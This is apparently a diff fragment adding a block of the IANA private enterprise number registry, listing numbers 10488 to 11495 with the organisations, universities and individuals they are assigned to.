+10488 Chelsio Communications
+10489 Design Combus Ltd
+10490 GNF
+10491 Hampshire College
+10492 HST High Soft Tech GmbH
+10493 Innovance Networks Inc.
+10494 InphoMatch Inc.
+10495 Interlink, Inc
+10496 Link Simulation & Training
+10497 Maly's of California
+10498 michaeljcrawford.com
+10499 Ministerium des Innern Sachsen-Anhalt
+10500 Music Choice
+10501 Netman Company
+10502 North Dakota University System
+10503 Power Innovations International
+10504 Printronix, Inc.
+10505 Quorus Medical Systems
+10506 RadioShack Corporation
+10507 Reciproca
+10508 Res Mod Man
+10509 Rightvision
+10510 ScreamingMedia
+10511 SimpleDevices, Inc.
+10512 Spectrum Image
+10513 Steltor
+10514 StrongAuth, Inc.
+10515 Terry Nazon Inc
+10516 T-Nova GmbH, Deutsche Telekom
+10517 Toronto POlice Service
+10518 TrunkNet
+10519 Tsinghua Unisplendour Co., ltd
+10520 ABB Integrated DC Power (formerly 'Tyco Electronics Power Systems')
+10521 VoicePlanet, Inc.
+10522 Voigt & Haeffner GmbH
+10523 Wanadoo Data
+10524 Widevine Technologies
+10525 Evangelisch Lutherische Kirche Bayern
+10526 Facultad de Ingenieria
+10527 METRObility Optical Systems, Inc.
+10528 Solid Information Technology Corp
+10529 Gemtek Systems Holding BV
+10530 NordicEdge
+10531 C.T.Com
+10532 RifeTech Inc.
+10533 SEITENBAU GbmH
+10534 SECOM Co., Ltd.
+10535 London Internet Exchange
+10536 Simon's Rock College of Bard
+10537 AB Trav och Galopp
+10538 Abstrakt Design
+10539 AlwaysOn Ltd
+10540 AXL Software
+10541 Caymasa El Sendero, SA
+10542 ChongQing GRC Telecom Co., Ltd
+10543 DeJarnette Research Systems, Inc.
+10544 Factual Data
+10545 gentics net.solutions
+10546 Inturio Property Rights Holdings Limited
+10547 Matrix Applied Computing Ltd
+10548 ENEA AB
+10549 NewVation
+10550 n-tv GmbH & Co. KG
+10551 parergy
+10552 Passlogix Inc.
+10553 Q-Networks
+10554 Qwest Wireless, L.L.C
+10555 Ramcar Group of Companies
+10556 recomp GmbH Netzwerke & Systemberatung
+10557 Sherwood International Limited
+10558 Silogix
+10559 Softeck
+10560 South Florida Water Management District
+10561 Star Valley Solutions Inc.
+10562 Werkleitz Gesellschaft e.V.
+10563 Portland Public Schools
+10564 T.I.A. Scandinavia
+10565 Universite de Savoie
+10566 Universiti Pendidikan Sultan Idris
+10567 eyou.net Corp.
+10568 China Sunbo Corp.
+10569 Coker Net
+10570 Manly Man Club
+10571 Merck KGaA
+10572 100world.com AG
+10573 Aitech Space Systems Inc.
+10574 Carbon Based Pty Ltd.
+10575 Cumulus IT AS
+10576 Cygsoft Limited
+10577 Eilat On-Line Ltd.
+10578 Electric Insurance Company
+10579 Eswoosh
+10580 Handspring, Inc
+10581 Icomera
+10582 Linear Systems Ltd.
+10583 Netizen S.A.
+10584 Hopcount Limited
+10585 Paris-alesia
+10586 PennWell Corp
+10587 PharmaPartners B.V.
+10588 Pixelboxx GmbH
+10589 Rocketrader.com
+10590 Sage Information Consultants , Inc.
+10591 Salix Training Limited
+10592 SolutionInc
+10593 SYBCOM GmbH
+10594 Transynergy
+10595 Tyrell Software Corporation
+10596 Vignon Informatique France
+10597 Alliance Capital
+10598 Applied System Design
+10599 Department of Families
+10600 Innovative Computing Laboratory
+10601 Jataayu Software Pvt Ltd.
+10602 JIERA
+10603 Kafre
+10604 Zarlink Semiconductor
+10605 Infodesk S. A.
+10606 IntraCom Australia Pty Ltd
+10607 ACG Solutions, LLC
+10608 alpha-lab
+10609 Applied Science Fiction
+10610 Aubergiste Inc.
+10611 BLU SPA
+10612 Centralny Osrodek Informatyki Gornictwa S.A.
+10613 Envivio
+10614 Equity Technology Group, Inc.
+10615 GartonWorks, Inc.
+10616 GeDInfo s.c.r.l.
+10617 INFO Consulting GmbH
+10618 InfoStream ASP
+10619 innuworks
+10620 iSoftel Ltd
+10621 bvba Med. Kab. dr. Sebrechts E.
+10622 Karma Designs
+10623 KnowledgeCube
+10624 Richard Lucassen Electronics
+10625 Maincube Inc.
+10626 Mulvey Family
+10627 N-SOFT
+10628 Project 49 AG
+10629 Questus Group, Inc.
+10630 Scintec AG
+10631 SeRIQA Networks
+10632 Telecomet International
+10633 TICOM, Inc.
+10634 Trio Networks
+10635 Tucows Inc.
+10636 University of Applied Sciences Cologne
+10637 Vanderbilt University Medical Center
+10638 Venation
+10639 Unassigned
+10640 West Interactive Corporation
+10641 White Eagle Informatics
+10642 Zebra Technologies Corporation
+10643 NC Soft
+10644 Interactive Software Design
+10645 Pandanus Ltd
+10646 ADI Computer Solutions
+10647 Advanced Science & Technology Institute
+10648 BlazeNet Ltd.
+10649 DST Innovis
+10650 Easter-eggs
+10651 ENAC
+10652 Ezitrust Limited
+10653 Fotre & Associates
+10654 Future Space, S.A.
+10655 Global Office Software Pty Ltd
+10656 Hardy and Associates
+10657 InfoCyclone Ltd.
+10658 IP Services
+10659 ISR Global Telecom, Inc.
+10660 KeyTrend Technology (S) Pte Ltd
+10661 MainBrain
+10662 Mid-Hudson Communications
+10663 MQS
+10664 Netropolis
+10665 Ocyrus
+10666 Organization of Residence Students
+10667 Proxima Technology Pty Ltd
+10668 riodata GmbH
+10669 San Miguel Industrial S.A.
+10670 Solutions E.T.C. GmbH
+10671 studio Alpha
+10672 Swarthmore College
+10673 TELEM GmbH
+10674 TOP-keskus
+10675 UNESCO
+10676 UniData Communication Systems, Inc
+10677 University of Debrecen
+10678 WorldWideWatson
+10679 Zzyzx Technologies Inc.
+10680 CAPCom AG
+10681 KASYS Incorporated
+10682 UDcast
+10683 Heaman System co.,ltd.
+10684 Terabolic
+10685 Object Tools Limited
+10686 Thruport Technologies
+10687 Townsend Communications, Inc.
+10688 Unassigned
+10689 Ahaza Systems
+10690 Celltrex LTD
+10691 Chataigner
+10692 freenet.de AG
+10693 iTopia Inc.
+10694 Measurable Solutions, Inc.
+10695 NIXC, Inc.
+10696 Nuxeo
+10697 Optio Software, Inc.
+10698 Sanitätsbetrieb Meran
+10699 SpellCaster Telecommunications Inc.
+10700 Bulldog Technologies
+10701 Telefonica DataCorp, S.A.
+10702 Solvare
+10703 ATnet
+10704 Barracuda Networks AG (previous was 'phion Information Technologies')
+10705 VOGT electronic AG
+10706 Accelerated Encryption Processing Ltd
+10707 Adhersis
+10708 Advanced System Architectures Ltd
+10709 ATUX
+10710 Avanade Inc
+10711 BAWI
+10712 Belkamneft
+10713 Chevin Ltd
+10714 Dimension Data
+10715 ForwardPath
+10716 Freedomland ITN SpA
+10717 Genie Telecom
+10718 Harris Wilder Pty Ltd
+10719 Atos Origin Nederland B.V. (aonl)
+10720 LIMSI
+10721 Britestream Networks, Inc.
+10722 Marque d'Or
+10723 Mercury PS
+10724 Morpheus Net
+10725 Pacific Internet Ltd
+10726 Quantiva, Inc
+10727 Red Cientifica Peruana
+10728 Redline Communications Inc.
+10729 Red-M Communications Ltd
+10730 SEE Telecom
+10731 Silicon Energy
+10732 Symbidia Limited
+10733 The Mercury File System
+10734 TippingPoint Technologies
+10735 Unicorn Holding a.s.
+10736 University of Denver
+10737 Web Simulation
+10738 Comuniq Inc.
+10739 DELPHIC Medical Systems
+10740 Neodev
+10741 Vertical Inversion Systems, Inc.
+10742 Nozema N.V.
+10743 Riksförsäkringsverket (RFV)
+10744 Kvarnbäcken Konsult AB
+10745 CSO Lanifex GmbH
+10746 Rechenzentrum der Bundesfinanzverwaltung Frankfurt am Main
+10747 Rowan University
+10748 Software Factory GmbH
+10749 /dev/secure Pty Ltd
+10750 3G-Scene Plc
+10751 3Plex
+10752 Artiman Oy
+10753 Billing for Enterprises
+10754 CAS Tecnologia S/A
+10755 ChipData, Inc.
+10756 Chongho Information & Communications co., LTD
+10757 Diogenes, Inc.
+10758 Elyzium Limited
+10759 Energos asa
+10760 Gravity Hill Technologies, Inc.
+10761 Greenheck Fan
+10762 Horizon Web Graphics
+10763 HanSung Teliann, Inc
+10764 Infotrek
+10765 INZEN Co., Ltd.
+10766 ISG Systems AB
+10767 James Madison University
+10768 L'Envol Limited
+10769 ITDZ Berlin
+10770 Make-Ing.com.ar
+10771 Morrison Academy
+10772 novalis media
+10773 Pacific Northwest Networks, Inc.
+10774 Perforations Ltd
+10775 PERI Formwork Systems, Inc.
+10776 Reactive Network Solutions Inc
+10777 Revicon Srl
+10778 RTCL Lab, University of Michigan
+10779 Sparkassenversicherung Wiesbaden
+10780 SWAN, s.r.o.
+10781 Schneider Electric Buildings AB (previous was 'TAC AB')
+10782 TAZZ Networks
+10783 The Church of Jesus Christ of Latter-Day Saints
+10784 Time & Frequency Solutions Ltd
+10785 Transtech Networks
+10786 UNSW Physics APT
+10787 Verity, Inc.
+10788 Volt Information Sciences
+10789 WebAgents GmbH
+10790 Websilicon
+10791 WestOne
+10792 Xeline Co., Ltd.
+10793 YourASP Pty Ltd
+10794 ZTR Control System
+10795 Bizz Technologies SAS
+10796 C.R.F. Consulting Ltd
+10797 Commercial Data Systems
+10798 Commtel
+10799 Jungo Software Technologies Ltd.
+10800 Kinor
+10801 Rapid 7, Inc.
+10802 RBG
+10803 Staudinger Wels
+10804 Union Bank of California
+10805 Wedgetail Communications
+10806 Xebeo Communications, Inc.
+10807 Centrale Financien Instellingen
+10808 China Greatwall Computer Shenzhen Co., LTD
+10809 Disha Technologies
+10810 Nobelmann
+10811 XiaMen Good First Optics Electricity Integration CO.,LTD
+10812 InfoTeCs
+10813 Centre National de la Recherche Scientifique
+10814 UNIFIED Technologies, Inc.
+10815 CyberTrader, Inc.
+10816 Datang Radio Communication Branch
+10817 Heraeus Holding GmbH
+10818 .windh AB
+10819 [IIX-NAP] MAHATEL, PT
+10820 LM Sistemas
+10821 Absolight
+10822 ADTEC
+10823 Advanced Research & Technology Ltd
+10824 AGAVA Software Ltd.
+10825 Alectta
+10826 Alice-Salomon-Fachhochschule für Sozialarbeit und Sozialpädagogik Berlin
+10827 ALVE Technology Corporation
+10828 American Data Technology, Inc.
+10829 Andover Controls Corporation
+10830 APCON, Inc.
+10831 At Oliver.com
+10832 B2C2, Inc.
+10833 binarycore networks
+10834 CargoBay
+10835 cartoonviolence.net
+10836 Command-e Technology Co., Ltd.
+10837 CompHealth
+10838 Contec C.V.
+10839 DISTRIBUTEL
+10840 Dragon Computer Consultants Inc.
+10841 Ejasent Inc.
+10842 EnBW Systeme Infrastruktur Support GmbH
+10843 Ferret
+10844 Fidelia, Inc.
+10845 grandmas, inc
+10846 Impact Technologies, Inc.
+10847 Insystek Inc.
+10848 IPfonix, Inc.
+10849 Ithiriel Software
+10850 KEFTA Inc.
+10851 Knowledge Intelligence AG
+10852 Kuulalaakeri Oy
+10853 LTC Sp. z o.o.
+10854 Lviv National Polytechnical University
+10855 Mascon Communication Technologies
+10856 Menlo Park Technologies
+10857 Mindframe Software & Services Pvt. Ltd.
+10858 Mycon Networks
+10859 myinternet Ltd
+10860 Naumann EDV
+10861 Niels Bohr Institute
+10862 NOAH Industries, Inc.
+10863 Odyssey Technologies Limited
+10864 Pacific University
+10865 Pete Wilson, consulting software engineer
+10866 Philip M Lembo
+10867 playdead networks
+10868 PremiTech A/S
+10869 Datalogic Mobile, Inc.
+10870 Safewww r&d Ltd
+10871 Shanghai Teraband Phtonics Co., Ltd.
+10872 SkyFlow Inc
+10873 Soros Foundation Kazakhstan
+10874 Spectrum Astro Inc
+10875 SSH Communications Security Corp.
+10876 Super Micro Computer Inc.
+10877 System Services Sp. z o. o.
+10878 Techlink Desenvolvimentos Tecnologicos Ltda
+10879 Tenebras, LLC
+10880 Togabi Technologies, Inc.
+10881 Uffizio Software Consultants Pvt. Ltd.
+10882 Université Paris 5
+10883 Unassigned
+10884 Vinzant, Inc.
+10885 Virtual Monet Technologies
+10886 Westland Helicopters Ltd
+10887 WizCom Ltd
+10888 Xelus Inc
+10889 AL Digital Ltd.
+10890 CommWorks
+10891 Dave's Network Services
+10892 Doctors.net.uk
+10893 Iomedex Corporation
+10894 Novra Technologies Inc.
+10895 Raonet Systems Inc.
+10896 The Career and Education Network, Inc.
+10897 RECOMBINANTWEB
+10898 OOZOOD
+10899 Consors Discount-Broker AG
+10900 Serco
+10901 Spinnaker Networks, Inc.
+10902 3IC Inc.
+10903 Activate
+10904 Alpine-Mayreder BauGmbH
+10905 Arsenal Digital Solutions
+10906 A-SK Computers
+10907 Ateb Limited
+10908 Bigsur Communications
+10909 BroadTel Communications
+10910 Chateau Systems, Inc
+10911 Appello, a.s.
+10912 Cincom Systems, Inc.
+10913 Client Software International
+10914 COLT Telecommunications
+10915 ConAgra Foods, Inc.
+10916 Cyneta Networks
+10917 Datamax Coporation
+10918 Datamission
+10919 dbap GmbH
+10920 Dir Solutions bv
+10921 Drumgrange Limited
+10922 ELSIS
+10923 Ericsson AB - Packet Core Networks
+10924 ESTOS GmbH
+10925 Firmseek
+10926 Food Brokers Limited
+10927 Fullsix
+10928 Fybubblan.com Consulting
+10929 GCD Printlayout
+10930 Georg-August Univeristy Goettingen (Internet-AG)
+10931 GIGA STREAM - UMTS Technologies GmbH
+10932 Gunadarma University
+10933 H.A. Technical Solutions
+10934 Hamsch
+10935 Horizon Digital Enterprise, Inc.
+10936 Ijichi Research
+10937 INFALSYS
+10938 International Messaging Associates Corporation
+10939 internet news
+10940 JD Thomlinson, Ltd.
+10941 Kandalaya
+10942 LifeLine Networks bv
+10943 Linagora
+10944 Maikis - EDV Dienstleistungen
+10945 Midway Games West, Inc.
+10946 Mouselink Ltd
+10947 Multi-Druck GmbH
+10948 MynaNET
+10949 Netflix.com
+10950 Netrake Corporation
+10951 NetUSE AG
+10952 NetZero Inc.
+10953 Nightlife.se
+10954 nikolici.com
+10955 Wescan Limited
+10956 Noviforum, Ltd.
+10957 noze
+10958 OLICORP Technologies
+10959 Politechnika Warszawska
+10960 Qualicontrol
+10961 Ricciardi Technologies, Inc
+10962 Rutgers, the State University of New Jersey
+10963 SENA Systems
+10964 SMT Data A/S
+10965 SolidStreaming, Inc.
+10966 Sollie codeWorks
+10967 Surftool Systems
+10968 Systematic Software Engineering A/S
+10969 Thales Communications
+10970 Threshold Networks
+10971 VPN Dynamics, Inc.
+10972 WIT-Software
+10973 XMS
+10974 Youngstown State University
+10975 Zion Software, LLC
+10976 Zoomtown.com
+10977 Grid-Ireland
+10978 Kumamoto Industrial Research Institute
+10979 Capitel Group
+10980 IQStor Networks
+10981 RouterD Networks Limited
+10982 UBS Warburg
+10983 BTG, Inc.
+10984 bvba Woodstone
+10985 Jive Software
+10986 Beijing Polytechnic University
+10987 Eircell 2000
+10988 SoloMio Corporation
+10989 Alibre Incorporated
+10990 Astrum Consulting
+10991 Axis Integrated
+10992 Babel Professional Services srl
+10993 BabelTech A/S
+10994 BISS GmbH
+10995 Blue Mug
+10996 CCSS (Europe) Ltd
+10997 Connection Software
+10998 Conversant Systems, LLC
+10999 COS AG / Austria
+11000 Creative Networking Solutions
+11001 Dreyer Consulting
+11002 Du Maurier Ltd
+11003 e^deltacom
+11004 EarthTrax, Inc.
+11005 E-Certify
+11006 FlashNet Computers Ltd
+11007 FMV, Swedish Defence Materiel Administration
+11008 Fujiwara Soft Office, Co., Ltd.
+11009 Hadmut Danisch
+11010 Harrison Family Organization
+11011 HiWAAY Information Services
+11012 ImagineAsia, Inc.
+11013 LEC Information Systems
+11014 Liberty University
+11015 Lokomo Systems AB
+11016 ManageStar.com, Inc.
+11017 MARA Systems AB
+11018 Massillon Cable Communications
+11019 MENTA
+11020 MVP Systems, Inc.
+11021 N2 Broadband, Inc.
+11022 Omnisci Software, Inc.
+11023 University of Oxford IT Services
+11024 P&S DataCom Corporation
+11025 Pagoo
+11026 Perfectway Corporation
+11027 Physics Department, University of Kassel
+11028 Reliable Networks, Inc.
+11029 Reziprozitaet Consulting
+11030 RouteFree Inc
+11031 SATEC SA
+11032 Semandex Networks, Inc.
+11033 SentitO Networks
+11034 Sentor Monitoring Systems Pty Ltd
+11035 Sheer Genius Software
+11036 Softax
+11037 Stratyc L.L.C.
+11038 TECO SOFT España, S.A.
+11039 Tivo, Inc.
+11040 Tool Banking Solutions
+11041 UFSM
+11042 ViaCLIX, Inc.
+11043 VIDA Software S.L.
+11044 Vodafone, Egypt
+11045 Windborne Productions, Inc.
+11046 Zero Computing S.r.l.
+11047 AK-Industrieinformatik GmbH
+11048 billiton internetservices
+11049 CP Corporate Planning AG
+11050 IDX Systems Corporations
+11051 Point Systems
+11052 Achmea Holding N.V.
+11053 Direct Internet, Inc.
+11054 Roman Seidl
+11055 InnoAce CO., Ltd.
+11056 Allmycrap.com
+11057 Eyefinity, Inc
+11058 Hitachi Information & Telecommunication Engineering, Ltd.
+11059 IMPRESS SOFTWARE AG
+11060 Intervoice-Brite
+11061 Longitude, Inc.
+11062 Nurnberg Scientific
+11063 PingMagic Limited
+11064 RHB Securities
+11065 Telcoware
+11066 Teniad Technologies
+11067 University of Belgrade
+11068 Webscreen Technology Ltd.
+11069 Yandex
+11070 uReach Technologies, Inc.
+11071 Motus Technologies
+11072 IOTEC AB
+11073 7th-Angel
+11074 ALTER
+11075 Antarix e Applications Limited
+11076 Banesto S.A.
+11077 Andrej Ota (formerly 'C.net d.o.o.')
+11078 Centralworks LLC
+11079 EIT Ltd
+11080 Airwide Solutions (formerly 'First Hop')
+11081 Hydrogen Line, Inc.
+11082 Illinois Central College
+11083 Intersix Technologies S.A.
+11084 ITDevices, Inc.
+11085 Manojam
+11086 MindTree Consulting Pvt Ltd
+11087 Netforest Inc.
+11088 Netus Technologies Co., Ltd.
+11089 Preferred Systems
+11090 Propero Limited
+11091 Raze Technologies
+11092 St. Boniface General Hospital
+11093 Telamon Systems
+11094 xpedite systems inc
+11095 Loea Communications
+11096 BlueArc, part of Hitachi Data Systems
+11097 HEXAL AG
+11098 ComTelco (North America), Inc.
+11099 Dickerson Enginering
+11100 Linux NetworX
+11101 NRI SecureTechnologies, Ltd.
+11102 OSA Technologies Inc.
+11103 Opus International Consultants Ltd
+11104 Passback IT Consultancy
+11105 Pivot Consulting Ltd
+11106 Scene7, Inc
+11107 Ucentric Systems
+11108 WaveMarket, Inc.
+11109 XDV - Verein für experimentelle Datenverarbeitung
+11110 Arkivio
+11111 Bell Ontario Service Assurance
+11112 Stephen Gould Paper co
+11113 BJC HealthCare
+11114 Citrus communications GmbH
+11115 George Fox University
+11116 Marco Hentschel
+11117 Vereniging Open DomeinZenon
+11118 Alpha1 Communications
+11119 123india.com
+11120 Advanced Software Resources, Inc.
+11121 C3 Ltd
+11122 Cencosud S.A.
+11123 Colruyt Group
+11124 Contenture Ltd
+11125 Domani Software Services
+11126 ESCP-EAP
+11127 Fst s.r.l.
+11128 Gadbois Consulting
+11129 Google, Inc.
+11130 Hülsmann Services e.K.
+11131 INSIDERS Information Management GmbH
+11132 Integral Solutions Corporation
+11133 Jemmac Software Limited
+11134 Lentronics
+11135 Marian Eichhloz
+11136 Meitetsu System Dev Co.Ltd
+11137 Metaparadigm Pte Ltd
+11138 mFormation Technologies Inc.
+11139 NEOWIZ Corporation
+11140 Network Center, Shanghai Jiaotong University
+11141 Omneon Video Networks
+11142 OÖ Online
+11143 PCSNC
+11144 RadPharm
+11145 Siemens Financial Services GmbH
+11146 Siemens Informations Systems Limited
+11147 SVTO Hewlett-Packard
+11148 Swan Systems
+11149 TI, d.o.o.
+11150 Roamware Inc. (formerly 'Unwiredsoft')
+11151 Urschel Laboratories Incorporated
+11152 Vocalcom
+11153 WebWear
+11154 WireX Communications, Inc.
+11155 WVS-groep
+11156 CDMEDIC
+11157 MultiTech Solutions Inc.
+11158 Panservice
+11159 PC Dialogs Inc.
+11160 TDK Corporation
+11161 Wistron Corporation
+11162 Advanced Campus Services
+11163 HAL Computer Systems Ltd
+11164 PBH Planungsbuero Hammer
+11165 Acer Mobile Networks Inc.
+11166 ALLEWA GmbH
+11167 Azurtec, Inc.
+11168 Banca del Gottardo
+11169 Beacon Bioscience, Inc.
+11170 Commsology
+11171 CRoL
+11172 Die Informatik-Werkstatt GmbH
+11173 Directory Solutions
+11174 DX Antenna Co., Ltd.
+11175 Epic Group plc
+11176 Objective Pathology Services Limited (formerly 'Extelligence')
+11177 Grapevine Interactive (Pty) Ltd
+11178 Guardian Controls International
+11179 hereUare Communications, Inc.
+11180 Invisible Hand Networks
+11181 Jan Schmidt DV-Beratung
+11182 Kretz Industries
+11183 Mitac International Corp.
+11184 Naray Information & Communication Enterprise
+11185 POSSIO AB
+11186 Rattan Information
+11187 SNV Netherlands Development Organisation
+11188 Universitat Rovira i Virgili
+11189 University of Applied Sciences Schmalkalden
+11190 Viox Services Inc.
+11191 Xiam
+11192 Xiph.org Foundation
+11193 Salica Ltd
+11194 Wireless Maingate
+11195 VECTOR sp. z o.o.
+11196 Marcant Internet Services GmbH
+11197 A l Jazeera Satellite Channel
+11198 Atrid Systemes
+11199 Auspice, Inc.
+11200 BellSouth
+11201 Benefit Systems, Inc
+11202 Blue Sky Studios
+11203 Cybermation Inc.
+11204 Entercept Security Technologies
+11205 Environmental Systems Research Institute (ESRI)
+11206 EPLS Enterprise Computing Pte Ltd
+11207 Falk eSolutions AG
+11208 Global Media Systems
+11209 Gold Wire Technology
+11210 Iain Stevenson
+11211 MobiTV Inc. (formerly 'Idetic Incorporated')
+11212 IDM
+11213 Information Services Extended Inc.
+11214 Meridis Corporation
+11215 Navitaire, Inc.
+11216 Neoware Systems
+11217 Oceanet Technology
+11218 Oculan Corp
+11219 OpVista
+11220 Pirelli Cavi e Sistemi S.p.A.
+11221 PROCON GmbH
+11222 Rochester General Hospital
+11223 RWT Telefony Polskie S.A.
+11224 SAEBEX (Pty) Ltd
+11225 SCMB
+11226 Skandinaviska Magasin1 AB
+11227 StartCorp
+11228 SystemBase Co,.Ltd.
+11229 Systemware
+11230 Voice Access Technologies
+11231 Wincom Systems, Inc.
+11232 Apocalypse Computing Services
+11233 Harald Gliebe
+11234 Hotcircles
+11235 WhichMall.com
+11236 Mosakin International Corporation
+11237 ITEK spf
+11238 APS Systeme
+11239 Bennett, Coleman & Co. Ltd.
+11240 Caixa d'Estalvis i Pensions de Barcelona
+11241 Carmel Secondary School
+11242 Custom Electronics
+11243 DCWG
+11244 NET Control
+11245 E2open
+11246 GHZ Inc.
+11247 GlaxoSmithKline
+11248 Greenwich Technology Partners, Inc.
+11249 i-DNS.net International Inc
+11250 Indiana Purdue University Ft. Wayne
+11251 Intrado Inc.
+11252 iTouch Labs
+11253 J.P. Stephenson Co.
+11254 Jydsk Consulting
+11255 LocatioNet Systems LTD
+11256 Stormshield (formerly 'NETASQ')
+11257 Net-ES
+11258 Nogui AB
+11259 Sepulveda Systems
+11260 Single Source oy
+11261 Tschaeche Services
+11262 Wire Card AG
+11263 WRnetworks
+11264 MobileArts AB
+11265 SET Software, Inc.
+11266 JiangSu Fujitsu Telecommunications Technology CO.,LTD.
+11267 DISSC - Presidencia del Gobierno
+11268 Aastra
+11269 Aculab plc
+11270 Adelphia Business Solutions
+11271 Aria Technology Pte Ltd
+11272 Birdstep Technology
+11273 BJB Software, Inc.
+11274 Centric Telecom Ltd
+11275 ChangingWorlds
+11276 Commil Ltd
+11277 convergence integrated media gmbh
+11278 CS Engineering b.v.
+11279 Datalab Technologia S.A.
+11280 Digimob Ltd
+11281 digital bus
+11282 DKSIN
+11283 Dobsonics Laboratories
+11284 ESW - EXTEL SYSTEMS WEDEL
+11285 FlipDog.com
+11286 H1
+11287 High-Availability.com
+11288 iCreate Software, Inc.
+11289 imagine LAN Inc.
+11290 Information Services Plc.
+11291 IONA Technologies
+11292 La Factoría de Comunicaciones Aplicadas,S.L.
+11293 LocaNet
+11294 Mobinor AS
+11295 Cybercity
+11296 Neon Software, Inc.
+11297 NetNet, Inc
+11298 NLweb.com
+11299 On Time Systems
+11300 Passageways Travel
+11301 Pearson Education
+11302 Perimeter Technology
+11303 PhotoniXnet Corporation
+11304 PrinterOn Corporation
+11305 Research Institute for Particle and Nuclear Physics, Department of Biophysics
+11306 Robarts Research Institute
+11307 Solarwinds.net
+11308 SWAPCOM
+11309 TallGrass Communications, Inc.
+11310 Technique Consultants Pty Ltd
+11311 Tubitak - UEKAE
+11312 Università di Salerno - D.I.A.
+11313 University of Calgary
+11314 University of Kansas
+11315 USAconnect
+11316 ware solutions
+11317 Wieland Electric GmbH
+11318 Xerox Research
+11319 Alcatel (Alcatel Bell Space)
+11320 Communal CC GmbH
+11321 ECI IP Inc.
+11322 Integrated Support Systems, Inc.
+11323 Manpower, Inc.
+11324 netsols.de
+11325 OpenDesign, Inc.
+11326 Blue Scooter, Inc.
+11327 Xi'an Jiaotong University Jump network Technology Co.,Ltd
+11328 Rana
+11329 LLNL-NIF
+11330 Inpronetwork corporation
+11331 BetaSoft, Wojciech Kruk
+11332 Broadstorm Telecommunications, Inc.
+11333 Media Data Systems Pte Ltd
+11334 OLES polymedia AG
+11335 Quris, Inc.
+11336 R-Squared Technologies
+11337 Software Workhouse of Hite Lee
+11338 Success Information System Co., Ltd.
+11339 Danam Communications Inc.
+11340 DREGIS Dresdner Global IT-Services Gesellschaft mbH
+11341 NoWalls
+11342 Finnet Networks Ltd.
+11343 Terra, Sol 3
+11344 The FreeRADIUS Server Project
+11345 [microstage] Ingenieurbuero Raphael Dierkes
+11346 Provinzial Versicherung
+11347 Academ Consulting Services
+11348 Airbus
+11349 at rete ag
+11350 Bondcar.com
+11351 Bouwens
+11352 Cognigen Corporation
+11353 Das Buero am Draht GmbH
+11354 Data Design Systems Incorporated
+11355 DataVault
+11356 DTV - Technical Knowledge Center of Denmark
+11357 edeal Schroeder Maihoefer GbR
+11358 Elcommtech Corp.
+11359 EML Ltd
+11360 Excenon
+11361 FASTER CZ
+11362 FCS Partners
+11363 Federation of Norwegian Agricultural Cooperatives
+11364 Gaeasoft Corp.
+11365 Orange Slovakia
+11366 Goanna Graphics
+11367 Helix GmbH
+11368 IAVista, Inc.
+11369 LenovoEMC Ltd (formerly 'Iomega')
+11370 ITT CO., Ltd.
+11371 jung myung telecom. co., Ltd.
+11372 Meret Optical Communications
+11373 NetVision Sp. z o.o.
+11374 OKO Bank Group
+11375 Pacific Geoscience Center
+11376 Pedestal Software
+11377 Product Technology Partners Ltd
+11378 Quartz Electronics Ltd.
+11379 Radiant Rt.
+11380 Retek Inc
+11381 Rogers Communications Inc
+11382 RR Enterprises
+11383 SaudiNet
+11384 SevenLayer Services
+11385 Spanlink Communications
+11386 Studer
+11387 T4 Consulting Group
+11388 Tarantola Labs
+11389 TECFA (Technologie de Formation et Apprentissage)
+11390 Texas Department of Housing and Community Affairs
+11391 The Texas GigaPOP
+11392 Tools4ever bv
+11393 Tymlabs Management Inc
+11394 UD Technology
+11395 Vancouver Public Library
+11396 Webex China
+11397 Xpedio AB
+11398 Pyx Engineering AG
+11399 Washington State University Vancouver
+11400 Dept. of Information and Communications Technology, HK Institute ofVocational Education (Tsing Yi)
+11401 CONCATEL, S.L.
+11402 MRO Software Inc.
+11403 Corente, Inc.
+11404 Seanet Corporation
+11405 shanghaionline Inc.
+11406 SANDY Group
+11407 obsceneskills.com
+11408 Fiberhome Telecommunication Technologies Co.,LTD
+11409 adequate systems GmbH
+11410 Advanced Communication Devices Corp.
+11411 AOL Australia
+11412 HUBER+SUHNER BKtel GmbH (FTTH)
+11413 Cape Clear Software Ltd.
+11414 Carnation Technology Ltd.
+11415 CLCsoft
+11416 Allgera Corp. (formerly 'Coalsere Inc.')
+11417 Cynops GmbH
+11418 DFN-CERT Services GmbH
+11419 FOTEL Corp.
+11420 GHS Data Management
+11421 Industrial Networking Solution
+11422 Larmouth T&PDS Ltd
+11423 Lucid Vision, Inc.
+11424 MITSUBISHI GAS CHEMICAL COMPANY, Inc.
+11425 MobileWebSurf
+11426 Netfusions s.r.l.
+11427 Particle Physics Group
+11428 Redes de Computadoras
+11429 Schumacher
+11430 Simtek Corporation
+11431 Southern Polytechnic State University
+11432 TOWER Group Network
+11433 University of West Bohemia
+11434 Utah Scientific, Inc.
+11435 WebEx Communications, Inc.
+11436 XML Global Technologies, Inc.
+11437 Xymbol
+11438 Canadian Center for Remote Sensing (GeoAccess Division)
+11439 CCLRC
+11440 Sapros
+11441 Goshen College
+11442 InsertAds Inc.
+11443 Morder Devices
+11444 Frederick Engineering
+11445 ANOREG-BR
+11446 Adduce Networks
+11447 XiLogic, L.L.C.
+11448 ITology Co., Ltd
+11449 Tethernet, Inc.
+11450 xitec.de
+11451 SINBON ELECTRONIC CO., LTD
+11452 Allegient Systems
+11453 Altadis
+11454 Avencis SA
+11455 Aviation Management Technologies GmbH
+11456 CalvaEDI S.A.
+11457 Cimcor, Inc.
+11458 Computing Services Department, University of Liverpool
+11459 Data Track Technology PLC
+11460 datafront
+11461 Deloitte & Touche
+11462 DroneDAP
+11463 EC-Founder
+11464 Electronic Arts
+11465 Envoy Technologies
+11466 e-Pollination Enterprise, Inc.
+11467 IntermediaSP
+11468 Jackson County School District 6
+11469 Kokong
+11470 LX networking
+11471 mineit software ltd
+11472 MoeTi Corp.
+11473 Nordic Messaging Technologies AB
+11474 NTT DATA COPORATION
+11475 Pro-Active
+11476 Quest Controls, Inc.
+11477 Rasvia Systems Incorporation
+11478 Scorpion Controls Inc
+11479 Selso
+11480 SunnyInd Corp
+11481 TEIMA Audiotex
+11482 Universal Traffic Management Society of Japan(UTMS)
+11483 University of Illinois at Urbana-Champaign
+11484 viastore systems GmbH
+11485 Vida Network Technologies, Inc.
+11486 Vizzavi NL
+11487 VoxSurf Ltd.
+11488 AB Computers
+11489 Alacritus
+11490 BetweenMarkets, Inc.
+11491 University of Jyvaskyla
+11492 Micro Research Laboratory, Inc.
+11493 Obourg Origny Informatique
+11494 Nebulon Pty. Ltd.
+11495 cubic.ch
